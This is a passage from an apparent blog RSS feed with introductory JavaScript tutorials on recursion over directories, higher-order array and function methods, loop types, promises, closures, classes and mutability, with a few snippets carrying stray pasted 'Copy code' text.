      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`Found file: <span class="hljs-subst">${filePath}</span> (<span class="hljs-subst">${stats.size}</span> bytes)`</span>);
      totalSize += stats.size;
    }
  });

  <span class="hljs-keyword">return</span> totalSize;
}

<span class="hljs-comment">// Example usage: Traverse the current directory recursively for .txt files</span>
<span class="hljs-keyword">const</span> directoryPath = <span class="hljs-string">'./'</span>;
<span class="hljs-keyword">const</span> fileExtension = <span class="hljs-string">'.txt'</span>;
<span class="hljs-keyword">const</span> totalFileSize = traverseDirectory(directoryPath, fileExtension);

<span class="hljs-built_in">console</span>.log(<span class="hljs-string">`Total size of <span class="hljs-subst">${fileExtension}</span> files: <span class="hljs-subst">${totalFileSize}</span> bytes`</span>);
</code></pre>
<h3 id="heading-explanation">Explanation</h3>
<ol>
<li><p><strong>Function</strong> <code>traverseDirectory</code>: This function uses <code>fs.readdirSync</code> to read the contents of a directory synchronously. It iterates through each file and directory within the specified <code>dirPath</code>.</p>
</li>
<li><p><strong>Recursive Case</strong>: If the current item (<code>file</code>) is a directory (<code>stats.isDirectory()</code>), the function recursively calls itself with the directory path (<code>filePath</code>) to explore its contents further.</p>
</li>
<li><p><strong>Base Case</strong>: If the current item (<code>file</code>) is a file (<code>stats.isFile()</code>) and has the specified extension (<code>path.extname(file) === extension</code>), it processes the file (in this case, printing its path and size) and adds its size (<code>stats.size</code>) to <code>totalSize</code>.</p>
</li>
<li><p><strong>Returning Results</strong>: The function returns <code>totalSize</code> recursively accumulated from all files matching the extension in the directory tree.</p>
</li>
</ol>
<h3 id="heading-usage">Usage</h3>
<p>In this example, the recursive function <code>traverseDirectory</code> is used to traverse a directory structure and find all <code>.txt</code> files, printing their paths and sizes. The function could easily be adapted to handle different file operations, such as copying files, counting files, or analyzing file contents recursively.</p>
<p>This scenario demonstrates how recursive functions are essential for tasks that involve hierarchical or nested data structures, such as file systems, directory trees, nested comments, organizational charts, and more.</p>
]]></content:encoded></item><item><title><![CDATA["Mastering Higher-Order Functions and Loops in JavaScript: A Comprehensive Guide"]]></title><description><![CDATA[In JavaScript, higher-order functions are functions that can take other functions as arguments or return functions as their result. They are fundamental in functional programming and allow for powerful abstractions. Here are some of the most commonly...]]></description><link>https://article.kumarchaudhary.com.np/mastering-higher-order-functions-and-loops-in-javascript-a-comprehensive-guide</link><guid isPermaLink="true">https://article.kumarchaudhary.com.np/mastering-higher-order-functions-and-loops-in-javascript-a-comprehensive-guide</guid><category><![CDATA[JavaScript]]></category><category><![CDATA[Node.js]]></category><category><![CDATA[JavaScript interview question]]></category><category><![CDATA[TypeScript]]></category><category><![CDATA[js]]></category><category><![CDATA[javascript framework]]></category><dc:creator><![CDATA[Kumar Chaudhary]]></dc:creator><pubDate>Fri, 21 Jun 2024 15:00:51 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/B3l0g6HLxr8/upload/81cc7a8245592a8c49a755080fe85cfd.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In JavaScript, higher-order functions are functions that can take other functions as arguments or return functions as their result. They are fundamental in functional programming and allow for powerful abstractions. Here are some of the most commonly used higher-order functions in JavaScript:</p>
<h3 id="heading-array-higher-order-functions">Array Higher-Order Functions</h3>
<ol>
<li><p><code>Array.prototype.forEach</code> Executes a provided function once for each array element.</p>
<pre><code class="lang-javascript"> <span class="hljs-keyword">const</span> array = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>];
 array.forEach(<span class="hljs-function"><span class="hljs-params">value</span> =&gt;</span> <span class="hljs-built_in">console</span>.log(value));
</code></pre>
</li>
<li><p><a target="_blank" href="http://Array.prototype.map"><code>Array.prototype.map</code></a> Creates a new array populated with the results of calling a provided function on every element in the calling array.</p>
<pre><code class="lang-javascript"> <span class="hljs-keyword">const</span> array = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>];
 <span class="hljs-keyword">const</span> doubled = array.map(<span class="hljs-function"><span class="hljs-params">value</span> =&gt;</span> value * <span class="hljs-number">2</span>);
</code></pre>
</li>
<li><p><code>Array.prototype.filter</code> Creates a new array with all elements that pass the test implemented by the provided function.</p>
<pre><code class="lang-javascript"> <span class="hljs-keyword">const</span> array = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>];
 <span class="hljs-keyword">const</span> even = array.filter(<span class="hljs-function"><span class="hljs-params">value</span> =&gt;</span> value % <span class="hljs-number">2</span> === <span class="hljs-number">0</span>);
</code></pre>
</li>
<li><p><code>Array.prototype.reduce</code> Executes a reducer function on each element of the array, resulting in a single output value.</p>
<pre><code class="lang-javascript"> <span class="hljs-keyword">const</span> array = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>];
 <span class="hljs-keyword">const</span> sum = array.reduce(<span class="hljs-function">(<span class="hljs-params">accumulator, currentValue</span>) =&gt;</span> accumulator + currentValue, <span class="hljs-number">0</span>);
</code></pre>
</li>
<li><p><code>Array.prototype.reduceRight</code> Applies a function against an accumulator and each value of the array (from right-to-left) to reduce it to a single value.</p>
<pre><code class="lang-javascript"> <span class="hljs-keyword">const</span> array = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>];
 <span class="hljs-keyword">const</span> sum = array.reduceRight(<span class="hljs-function">(<span class="hljs-params">accumulator, currentValue</span>) =&gt;</span> accumulator + currentValue, <span class="hljs-number">0</span>);
</code></pre>
</li>
<li><p><code>Array.prototype.every</code> Tests whether all elements in the array pass the test implemented by the provided function.</p>
<pre><code class="lang-javascript"> <span class="hljs-keyword">const</span> array = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>];
 <span class="hljs-keyword">const</span> allEven = array.every(<span class="hljs-function"><span class="hljs-params">value</span> =&gt;</span> value % <span class="hljs-number">2</span> === <span class="hljs-number">0</span>);
</code></pre>
</li>
<li><p><code>Array.prototype.some</code> Tests whether at least one element in the array passes the test implemented by the provided function.</p>
<pre><code class="lang-javascript"> <span class="hljs-keyword">const</span> array = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>];
 <span class="hljs-keyword">const</span> someEven = array.some(<span class="hljs-function"><span class="hljs-params">value</span> =&gt;</span> value % <span class="hljs-number">2</span> === <span class="hljs-number">0</span>);
</code></pre>
</li>
<li><p><code>Array.prototype.find</code> Returns the value of the first element in the array that satisfies the provided testing function.</p>
<pre><code class="lang-javascript"> <span class="hljs-keyword">const</span> array = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>];
 <span class="hljs-keyword">const</span> found = array.find(<span class="hljs-function"><span class="hljs-params">value</span> =&gt;</span> value &gt; <span class="hljs-number">1</span>);
</code></pre>
</li>
<li><p><code>Array.prototype.findIndex</code> Returns the index of the first element in the array that satisfies the provided testing function.</p>
<pre><code class="lang-javascript"> <span class="hljs-keyword">const</span> array = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>];
 <span class="hljs-keyword">const</span> index = array.findIndex(<span class="hljs-function"><span class="hljs-params">value</span> =&gt;</span> value &gt; <span class="hljs-number">1</span>);
</code></pre>
</li>
<li><p><code>Array.prototype.flatMap</code> First maps each element using a mapping function, then flattens the result into a new array.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> array = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>];
<span class="hljs-keyword">const</span> flatMapped = array.flatMap(<span class="hljs-function"><span class="hljs-params">value</span> =&gt;</span> [value, value * <span class="hljs-number">2</span>]);
</code></pre>
</li>
<li><p><code>Array.prototype.sort</code> Sorts the elements of an array in place and returns the array.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> array = [<span class="hljs-number">3</span>, <span class="hljs-number">1</span>, <span class="hljs-number">2</span>];
array.sort(<span class="hljs-function">(<span class="hljs-params">a, b</span>) =&gt;</span> a - b);
</code></pre>
</li>
<li><p><code>Array.prototype.flat</code> Creates a new array with all sub-array elements concatenated into it recursively up to the specified depth.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> array = [<span class="hljs-number">1</span>, [<span class="hljs-number">2</span>, [<span class="hljs-number">3</span>]]];
<span class="hljs-keyword">const</span> flattened = array.flat(<span class="hljs-number">2</span>);
</code></pre>
</li>
<li><p><code>Array.prototype.concat</code> Merges two or more arrays into a new array.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> array1 = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>];
<span class="hljs-keyword">const</span> array2 = [<span class="hljs-number">3</span>, <span class="hljs-number">4</span>];
<span class="hljs-keyword">const</span> merged = array1.concat(array2);
</code></pre>
</li>
</ol>
<h3 id="heading-function-higher-order-functions">Function Higher-Order Functions</h3>
<ol>
<li><p><code>Function.prototype.bind</code> Creates a new function that, when called, has its <code>this</code> keyword set to the provided value, with a given sequence of arguments preceding any provided when the new function is called.</p>
<pre><code class="lang-javascript"> <span class="hljs-keyword">const</span> <span class="hljs-built_in">module</span> = {
     <span class="hljs-attr">x</span>: <span class="hljs-number">42</span>,
     <span class="hljs-attr">getX</span>: <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
         <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.x;
     }
 };

 <span class="hljs-keyword">const</span> unboundGetX = <span class="hljs-built_in">module</span>.getX;
 <span class="hljs-keyword">const</span> boundGetX = unboundGetX.bind(<span class="hljs-built_in">module</span>);
 <span class="hljs-built_in">console</span>.log(boundGetX()); <span class="hljs-comment">// 42</span>
</code></pre>
</li>
<li><p><a target="_blank" href="http://Function.prototype.call"><code>Function.prototype.call</code></a> Calls a function with a given <code>this</code> value and arguments provided individually.</p>
<pre><code class="lang-javascript"> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">greet</span>(<span class="hljs-params"></span>) </span>{
     <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`Hello, <span class="hljs-subst">${<span class="hljs-built_in">this</span>.name}</span>`</span>);
 }

 <span class="hljs-keyword">const</span> person = { <span class="hljs-attr">name</span>: <span class="hljs-string">'John'</span> };
 greet.call(person); <span class="hljs-comment">// Hello, John</span>
</code></pre>
</li>
<li><p><code>Function.prototype.apply</code> Calls a function with a given <code>this</code> value, and arguments provided as an array (or an array-like object).</p>
<pre><code class="lang-javascript"> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">greet</span>(<span class="hljs-params">greeting</span>) </span>{
     <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`<span class="hljs-subst">${greeting}</span>, <span class="hljs-subst">${<span class="hljs-built_in">this</span>.name}</span>`</span>);
 }

 <span class="hljs-keyword">const</span> person = { <span class="hljs-attr">name</span>: <span class="hljs-string">'John'</span> };
 greet.apply(person, [<span class="hljs-string">'Hello'</span>]); <span class="hljs-comment">// Hello, John</span>
</code></pre>
</li>
</ol>
<h3 id="heading-summary">Summary</h3>
<p>In total, the primary higher-order functions in JavaScript can be categorized under array methods and function methods. These are:</p>
<p><strong>Array Methods:</strong></p>
<ol>
<li><p><code>forEach</code></p>
</li>
<li><p><code>map</code></p>
</li>
<li><p><code>filter</code></p>
</li>
<li><p><code>reduce</code></p>
</li>
<li><p><code>reduceRight</code></p>
</li>
<li><p><code>every</code></p>
</li>
<li><p><code>some</code></p>
</li>
<li><p><code>find</code></p>
</li>
<li><p><code>findIndex</code></p>
</li>
<li><p><code>flatMap</code></p>
</li>
<li><p><code>sort</code></p>
</li>
<li><p><code>flat</code></p>
</li>
<li><p><code>concat</code></p>
</li>
</ol>
<p><strong>Function Methods:</strong></p>
<ol>
<li><p><code>bind</code></p>
</li>
<li><p><code>call</code></p>
</li>
<li><p><code>apply</code></p>
</li>
</ol>
<p>These higher-order functions are fundamental tools in JavaScript, enabling powerful and expressive functional programming techniques.</p>
<p>Certainly! Besides higher-order functions and loops, there are several other important concepts and features in JavaScript that you should be familiar with. These include, but are not limited to, the following:</p>
<h2 id="heading-mastering-javascript-essential-concepts-and-features"><strong>Mastering JavaScript: Essential Concepts and Features</strong></h2>
<h3 id="heading-1-promises-and-asynchronous-programming">1. <strong>Promises and Asynchronous Programming</strong></h3>
<ul>
<li><p><strong>Promises</strong>: Objects representing the eventual completion or failure of an asynchronous operation.</p>
<pre><code class="lang-javascript">  <span class="hljs-keyword">const</span> promise = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Promise</span>(<span class="hljs-function">(<span class="hljs-params">resolve, reject</span>) =&gt;</span> {
      <span class="hljs-built_in">setTimeout</span>(<span class="hljs-function">() =&gt;</span> {
          resolve(<span class="hljs-string">'Success!'</span>);
      }, <span class="hljs-number">1000</span>);
  });

  promise.then(<span class="hljs-function"><span class="hljs-params">result</span> =&gt;</span> {
      <span class="hljs-built_in">console</span>.log(result); <span class="hljs-comment">// 'Success!'</span>
  }).catch(<span class="hljs-function"><span class="hljs-params">error</span> =&gt;</span> {
      <span class="hljs-built_in">console</span>.error(error);
  });
</code></pre>
</li>
<li><p><strong>Async/Await</strong>: Syntactic sugar over promises, making asynchronous code look synchronous.</p>
<pre><code class="lang-javascript">  <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">fetchData</span>(<span class="hljs-params"></span>) </span>{
      <span class="hljs-keyword">try</span> {
          <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> fetch(<span class="hljs-string">'https://api.example.com/data'</span>);
          <span class="hljs-keyword">const</span> data = <span class="hljs-keyword">await</span> response.json();
          <span class="hljs-built_in">console</span>.log(data);
      } <span class="hljs-keyword">catch</span> (error) {
          <span class="hljs-built_in">console</span>.error(error);
      }
  }

  fetchData();
</code></pre>
</li>
</ul>
<h3 id="heading-2-modules">2. <strong>Modules</strong></h3>
<ul>
<li><p><strong>ES6 Modules</strong>: Using <code>import</code> and <code>export</code> to manage dependencies and organize code.</p>
<pre><code class="lang-javascript">  <span class="hljs-comment">// math.js</span>
  <span class="hljs-keyword">export</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">add</span>(<span class="hljs-params">a, b</span>) </span>{
      <span class="hljs-keyword">return</span> a + b;
  }

  <span class="hljs-comment">// main.js</span>
  <span class="hljs-keyword">import</span> { add } <span class="hljs-keyword">from</span> <span class="hljs-string">'./math.js'</span>;
  <span class="hljs-built_in">console</span>.log(add(<span class="hljs-number">2</span>, <span class="hljs-number">3</span>)); <span class="hljs-comment">// 5</span>
</code></pre>
</li>
</ul>
<h3 id="heading-3-closures">3. <strong>Closures</strong></h3>
<ul>
<li><p>Functions that have access to the outer (enclosing) function’s variables even after the outer function has returned.</p>
<pre><code class="lang-javascript">  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">makeCounter</span>(<span class="hljs-params"></span>) </span>{
      <span class="hljs-keyword">let</span> count = <span class="hljs-number">0</span>;
      <span class="hljs-keyword">return</span> <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
          count++;
          <span class="hljs-keyword">return</span> count;
      };
  }

  <span class="hljs-keyword">const</span> counter = makeCounter();
  <span class="hljs-built_in">console</span>.log(counter()); <span class="hljs-comment">// 1</span>
  <span class="hljs-built_in">console</span>.log(counter()); <span class="hljs-comment">// 2</span>
</code></pre>
</li>
</ul>
<h3 id="heading-4-event-handling">4. <strong>Event Handling</strong></h3>
<ul>
<li><p><strong>Event Listeners</strong>: Responding to user interactions and other events in the DOM.</p>
<pre><code class="lang-javascript">  <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'myButton'</span>).addEventListener(<span class="hljs-string">'click'</span>, <span class="hljs-function">() =&gt;</span> {
      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Button clicked!'</span>);
  });
</code></pre>
</li>
</ul>
<h3 id="heading-5-error-handling">5. <strong>Error Handling</strong></h3>
<ul>
<li><p><strong>Try/Catch</strong>: Handling exceptions and errors gracefully.</p>
<pre><code class="lang-javascript">  <span class="hljs-keyword">try</span> {
      <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">'Something went wrong'</span>);
  } <span class="hljs-keyword">catch</span> (error) {
      <span class="hljs-built_in">console</span>.error(error.message);
  }
</code></pre>
</li>
</ul>
<h3 id="heading-6-destructuring">6. <strong>Destructuring</strong></h3>
<ul>
<li><p>Extracting values from arrays or properties from objects into distinct variables.</p>
<pre><code class="lang-javascript">  <span class="hljs-keyword">const</span> person = { <span class="hljs-attr">name</span>: <span class="hljs-string">'John'</span>, <span class="hljs-attr">age</span>: <span class="hljs-number">30</span> };
  <span class="hljs-keyword">const</span> { name, age } = person;
  <span class="hljs-built_in">console</span>.log(name, age); <span class="hljs-comment">// 'John', 30</span>
</code></pre>
</li>
</ul>
<h3 id="heading-7-template-literals">7. <strong>Template Literals</strong></h3>
<ul>
<li><p>Template strings with embedded expressions.</p>
<pre><code class="lang-javascript">  <span class="hljs-keyword">const</span> name = <span class="hljs-string">'John'</span>;
  <span class="hljs-keyword">const</span> message = <span class="hljs-string">`Hello, <span class="hljs-subst">${name}</span>!`</span>;
  <span class="hljs-built_in">console</span>.log(message); <span class="hljs-comment">// 'Hello, John!'</span>
</code></pre>
</li>
</ul>
<h3 id="heading-8-spread-and-rest-operators">8. <strong>Spread and Rest Operators</strong></h3>
<ul>
<li><p><strong>Spread</strong>: Expanding elements of an iterable (like an array) or properties of an object.</p>
<pre><code class="lang-javascript">  <span class="hljs-keyword">const</span> array = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>];
  <span class="hljs-keyword">const</span> newArray = [...array, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>];
  <span class="hljs-built_in">console</span>.log(newArray); <span class="hljs-comment">// [1, 2, 3, 4, 5]</span>
</code></pre>
</li>
<li><p><strong>Rest</strong>: Collecting arguments into an array.</p>
<pre><code class="lang-javascript">  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">sum</span>(<span class="hljs-params">...numbers</span>) </span>{
      <span class="hljs-keyword">return</span> numbers.reduce(<span class="hljs-function">(<span class="hljs-params">acc, curr</span>) =&gt;</span> acc + curr, <span class="hljs-number">0</span>);
  }

  <span class="hljs-built_in">console</span>.log(sum(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>)); <span class="hljs-comment">// 10</span>
</code></pre>
</li>
</ul>
<h3 id="heading-9-classes-and-inheritance">9. <strong>Classes and Inheritance</strong></h3>
<ul>
<li><p><strong>ES6 Classes</strong>: Creating objects and inheritance in a more familiar syntax compared to traditional prototypes.</p>
<pre><code class="lang-javascript">  <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Person</span> </span>{
      <span class="hljs-keyword">constructor</span>(name, age) {
          <span class="hljs-built_in">this</span>.name = name;
          <span class="hljs-built_in">this</span>.age = age;
      }

      greet() {
          <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`Hello, my name is <span class="hljs-subst">${<span class="hljs-built_in">this</span>.name}</span>`</span>);
      }
  }

  <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Student</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Person</span> </span>{
      <span class="hljs-keyword">constructor</span>(name, age, grade) {
          <span class="hljs-built_in">super</span>(name, age);
          <span class="hljs-built_in">this</span>.grade = grade;
      }

      study() {
          <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`<span class="hljs-subst">${<span class="hljs-built_in">this</span>.name}</span> is studying`</span>);
      }
  }

  <span class="hljs-keyword">const</span> student = <span class="hljs-keyword">new</span> Student(<span class="hljs-string">'John'</span>, <span class="hljs-number">20</span>, <span class="hljs-string">'A'</span>);
  student.greet(); <span class="hljs-comment">// 'Hello, my name is John'</span>
  student.study(); <span class="hljs-comment">// 'John is studying'</span>
</code></pre>
</li>
</ul>
<h3 id="heading-10-prototypes-and-prototype-chain">10. <strong>Prototypes and Prototype Chain</strong></h3>
<ul>
<li><p>Understanding how inheritance works in JavaScript using prototypes.</p>
<pre><code class="lang-javascript">  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">Person</span>(<span class="hljs-params">name, age</span>) </span>{
      <span class="hljs-built_in">this</span>.name = name;
      <span class="hljs-built_in">this</span>.age = age;
  }

  Person.prototype.greet = <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`Hello, my name is <span class="hljs-subst">${<span class="hljs-built_in">this</span>.name}</span>`</span>);
  };

  <span class="hljs-keyword">const</span> person = <span class="hljs-keyword">new</span> Person(<span class="hljs-string">'John'</span>, <span class="hljs-number">30</span>);
  person.greet(); <span class="hljs-comment">// 'Hello, my name is John'</span>
</code></pre>
</li>
</ul>
<h2 id="heading-types-of-for-loop-in-javascript">Types of For Loop in JavaScript</h2>
<p>In JavaScript, there are several types of loops that you can use to iterate over arrays, objects, and other iterable structures. Here are the main ones:</p>
<h3 id="heading-1-for-loop">1. <code>for</code> Loop</h3>
<p>The traditional <code>for</code> loop is used for general-purpose iteration with a counter.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> i = <span class="hljs-number">0</span>; i &lt; array.length; i++) {
    <span class="hljs-built_in">console</span>.log(array[i]);
}
</code></pre>
<h3 id="heading-2-forin-loop">2. <code>for...in</code> Loop</h3>
<p>The <code>for...in</code> loop is used to iterate over the enumerable properties of an object.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> obj = {<span class="hljs-attr">a</span>: <span class="hljs-number">1</span>, <span class="hljs-attr">b</span>: <span class="hljs-number">2</span>, <span class="hljs-attr">c</span>: <span class="hljs-number">3</span>};
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> key <span class="hljs-keyword">in</span> obj) {
    <span class="hljs-keyword">if</span> (obj.hasOwnProperty(key)) {
        <span class="hljs-built_in">console</span>.log(key, obj[key]);
    }
}
</code></pre>
<h3 id="heading-3-forof-loop">3. <code>for...of</code> Loop</h3>
<p>The <code>for...of</code> loop is used to iterate over the values of an iterable (like an array, string, map, set, etc.).</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> array = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>];
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> value <span class="hljs-keyword">of</span> array) {
    <span class="hljs-built_in">console</span>.log(value);
}
</code></pre>
<h3 id="heading-4-arrayprototypeforeach-method">4. <code>Array.prototype.forEach</code> Method</h3>
<p>The <code>forEach</code> method is used to execute a provided function once for each array element.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> array = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>];
array.forEach(<span class="hljs-function"><span class="hljs-params">value</span> =&gt;</span> {
    <span class="hljs-built_in">console</span>.log(value);
});
</code></pre>
<h3 id="heading-5-while-loop">5. <code>while</code> Loop</h3>
<p>The <code>while</code> loop is used to execute a block of code as long as a specified condition is true.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">let</span> i = <span class="hljs-number">0</span>;
<span class="hljs-keyword">while</span> (i &lt; array.length) {
    <span class="hljs-built_in">console</span>.log(array[i]);
    i++;
}
</code></pre>
<h3 id="heading-6-dowhile-loop">6. <code>do...while</code> Loop</h3>
<p>The <code>do...while</code> loop is similar to the <code>while</code> loop, but it executes the block of code once before checking the condition.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">let</span> i = <span class="hljs-number">0</span>;
<span class="hljs-keyword">do</span> {
    <span class="hljs-built_in">console</span>.log(array[i]);
    i++;
} <span class="hljs-keyword">while</span> (i &lt; array.length);
</code></pre>
<h3 id="heading-summary-1">Summary</h3>
<p>In summary, the main types of loops in JavaScript are:</p>
<ol>
<li><p><code>for</code> loop</p>
</li>
<li><p><code>for...in</code> loop</p>
</li>
<li><p><code>for...of</code> loop</p>
</li>
<li><p><code>Array.prototype.forEach</code> method</p>
</li>
<li><p><code>while</code> loop</p>
</li>
<li><p><code>do...while</code> loop</p>
</li>
</ol>
<p>Each loop type serves different purposes and can be chosen based on the specific requirements of your iteration task.</p>
<h2 id="heading-mutable-and-immutable-in-js"><strong>Mutable and Immutable in JS</strong></h2>
<p>In JavaScript, mutability refers to whether an object or value can be changed after it's created. Let's break down mutable and immutable elements in JS:</p>
<p>Mutable (can be changed):</p>
<ol>
<li><p>Objects</p>
</li>
<li><p>Arrays</p>
</li>
<li><p>Functions</p>
</li>
<li><p>Sets</p>
</li>
<li><p>Maps</p>
</li>
</ol>
<p>Immutable (cannot be changed):</p>
<ol>
<li><p>Primitive values:</p>
<ul>
<li><p>Numbers</p>
</li>
<li><p>Strings</p>
</li>
<li><p>Booleans</p>
</li>
<li><p>null</p>
</li>
<li><p>undefined</p>
</li>
<li><p>Symbol</p>
</li>
</ul>
</li>
<li><p>frozen objects (using Object.freeze())</p>
</li>
</ol>
<p>Key points:</p>
<ul>
<li><p>When you assign a new value to a primitive, you're creating a new instance.</p>
</li>
<li><p>Modifying an object or array changes the original, not creates a new one.</p>
</li>
<li><p>const doesn't make objects immutable, it just prevents reassignment.</p>
</li>
</ul>
<h3 id="heading-mutable">Mutable</h3>
<p>A mutable object is one that can be changed after it is created. Most objects and arrays in JavaScript are mutable.</p>
<h4 id="heading-examples-of-mutable-types">Examples of Mutable Types:</h4>
<ol>
<li><p><strong>Objects</strong>:</p>
<ul>
<li>You can add, delete, or modify properties of an object.</li>
</ul>
</li>
</ol>
<pre><code class="lang-javascript">    javascriptCopy codeconst obj = { <span class="hljs-attr">name</span>: <span class="hljs-string">"Alice"</span>, <span class="hljs-attr">age</span>: <span class="hljs-number">25</span> };
    obj.age = <span class="hljs-number">26</span>;  <span class="hljs-comment">// Modify</span>
    obj.city = <span class="hljs-string">"New York"</span>;  <span class="hljs-comment">// Add</span>
    <span class="hljs-keyword">delete</span> obj.name;  <span class="hljs-comment">// Delete</span>
    <span class="hljs-built_in">console</span>.log(obj);  <span class="hljs-comment">// Output: { age: 26, city: 'New York' }</span>
</code></pre>
<ol start="2">
<li><p><strong>Arrays</strong>:</p>
<ul>
<li>You can change elements, add new elements, or remove elements.</li>
</ul>
</li>
</ol>
<pre><code class="lang-javascript">    javascriptCopy codeconst arr = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>];
    arr[<span class="hljs-number">0</span>] = <span class="hljs-number">10</span>;  <span class="hljs-comment">// Modify</span>
    arr.push(<span class="hljs-number">4</span>);  <span class="hljs-comment">// Add</span>
    arr.pop();  <span class="hljs-comment">// Remove</span>
    <span class="hljs-built_in">console</span>.log(arr);  <span class="hljs-comment">// Output: [10, 2, 3]</span>
</code></pre>
<h3 id="heading-immutable">Immutable</h3>
<p>An immutable object is one that, once created, cannot be changed. Primitive values (strings, numbers, booleans, null, undefined, and symbols) are immutable in JavaScript.</p>
<h4 id="heading-examples-of-immutable-types">Examples of Immutable Types:</h4>
<ol>
<li><p><strong>Strings</strong>:</p>
<ul>
<li>Strings cannot be changed after they are created. Any operation that appears to modify a string actually creates a new string.</li>
</ul>
</li>
</ol>
<pre><code class="lang-javascript">    javascriptCopy codelet str = <span class="hljs-string">"hello"</span>;
    str[<span class="hljs-number">0</span>] = <span class="hljs-string">'H'</span>;  <span class="hljs-comment">// This has no effect</span>
    str = <span class="hljs-string">"Hello"</span>;  <span class="hljs-comment">// This creates a new string</span>
    <span class="hljs-built_in">console</span>.log(str);  <span class="hljs-comment">// Output: "Hello"</span>
</code></pre>
<ol start="2">
<li><p><strong>Numbers, Booleans, Null, Undefined, Symbols</strong>:</p>
<ul>
<li>These types are immutable. Any operation on them that seems to change their value actually results in a new value.</li>
</ul>
</li>
</ol>
<pre><code class="lang-javascript">    javascriptCopy codelet num = <span class="hljs-number">42</span>;
    num += <span class="hljs-number">1</span>;  <span class="hljs-comment">// This creates a new number 43</span>
    <span class="hljs-built_in">console</span>.log(num);  <span class="hljs-comment">// Output: 43</span>
</code></pre>
<h3 id="heading-immutability-in-practice">Immutability in Practice</h3>
<p>Although objects and arrays are mutable by default, there are techniques to create immutable versions of them:</p>
<ol>
<li><p><code>Object.freeze</code>:</p>
<ul>
<li>Freezes an object, making it immutable (no properties can be added, removed, or modified).</li>
</ul>
</li>
</ol>
<pre><code class="lang-javascript">    javascriptCopy codeconst obj = { <span class="hljs-attr">name</span>: <span class="hljs-string">"Alice"</span>, <span class="hljs-attr">age</span>: <span class="hljs-number">25</span> };
    <span class="hljs-built_in">Object</span>.freeze(obj);
    obj.age = <span class="hljs-number">26</span>;  <span class="hljs-comment">// This will have no effect</span>
    <span class="hljs-built_in">console</span>.log(obj);  <span class="hljs-comment">// Output: { name: 'Alice', age: 25 }</span>
</code></pre>
<ol start="2">
<li><p><strong>Immutable Data Structures</strong>:</p>
<ul>
<li>Libraries like Immutable.js provide immutable data structures for JavaScript.</li>
</ul>
</li>
</ol>
<pre><code class="lang-javascript">    javascriptCopy codeconst { <span class="hljs-built_in">Map</span> } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'immutable'</span>);
    <span class="hljs-keyword">let</span> map1 = <span class="hljs-built_in">Map</span>({ <span class="hljs-attr">a</span>: <span class="hljs-number">1</span>, <span class="hljs-attr">b</span>: <span class="hljs-number">2</span>, <span class="hljs-attr">c</span>: <span class="hljs-number">3</span> });
